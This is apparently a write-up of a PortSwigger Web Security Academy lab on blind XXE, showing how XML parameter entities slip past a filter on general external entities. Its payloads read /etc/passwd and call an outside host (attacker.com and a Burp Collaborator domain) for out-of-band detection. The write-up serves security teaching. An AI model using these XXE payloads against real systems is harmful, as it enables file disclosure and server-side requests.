| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | Blind XXE — Parameter Entity Bypass |
| Difficulty | Practitioner |
| Objective | Trigger a DNS lookup and HTTP request to Burp Collaborator using XML parameter entities |
Blind XXE with Out-of-Band Interaction via XML Parameter Entities — Writeup¶
Initial Observation¶
Same stock check endpoint, same XML format:
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
But this lab blocks regular external entities. Trying the standard payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE teto [<!ENTITY miku SYSTEM "file:///etc/passwd">]>
<stockCheck><productId>&miku;</productId><storeId>1</storeId></stockCheck>
Response: Entities are not allowed for security reasons
The application is specifically detecting and blocking general external entities. We need a different type.
The Difference Between General and Parameter Entities¶
This is the core concept for this lab — there are two types of entities in XML, and they work very differently.
General external entities are what we've been using so far. They're declared without a % prefix and referenced in the XML body:
<!DOCTYPE teto [<!ENTITY miku SYSTEM "file:///etc/passwd">]>
<stockCheck><productId>&miku;</productId></stockCheck>
The entity &miku; gets resolved when the parser processes the document body. This is what the application is filtering.
Parameter entities are declared with a % prefix and can only be referenced inside the DTD itself — not in the document body. The reference syntax also uses % instead of &:
<!DOCTYPE teto [<!ENTITY % miku SYSTEM "https://attacker.com"> %miku;]>
Here %miku; is referenced inside the DOCTYPE declaration, not in <productId> or anywhere in the body. The parser resolves it while processing the DTD, before it even gets to the document structure. Because the reference lives in the DTD rather than the body, it takes a completely different code path — one that the application's "entities are not allowed" check doesn't cover.
Attack Path¶
Out-of-Band Detection via Parameter Entity¶
Using a parameter entity pointing at Burp Collaborator — referenced inline within the DOCTYPE so the parser fetches it during DTD processing:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE teto [<!ENTITY % miku SYSTEM "https://j6qu35hsao8qjw7spr6xhj5vimodcb00.oastify.com"> %miku;]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
Collaborator receives the HTTP request:
Once we recive the request tha lab will be solved :P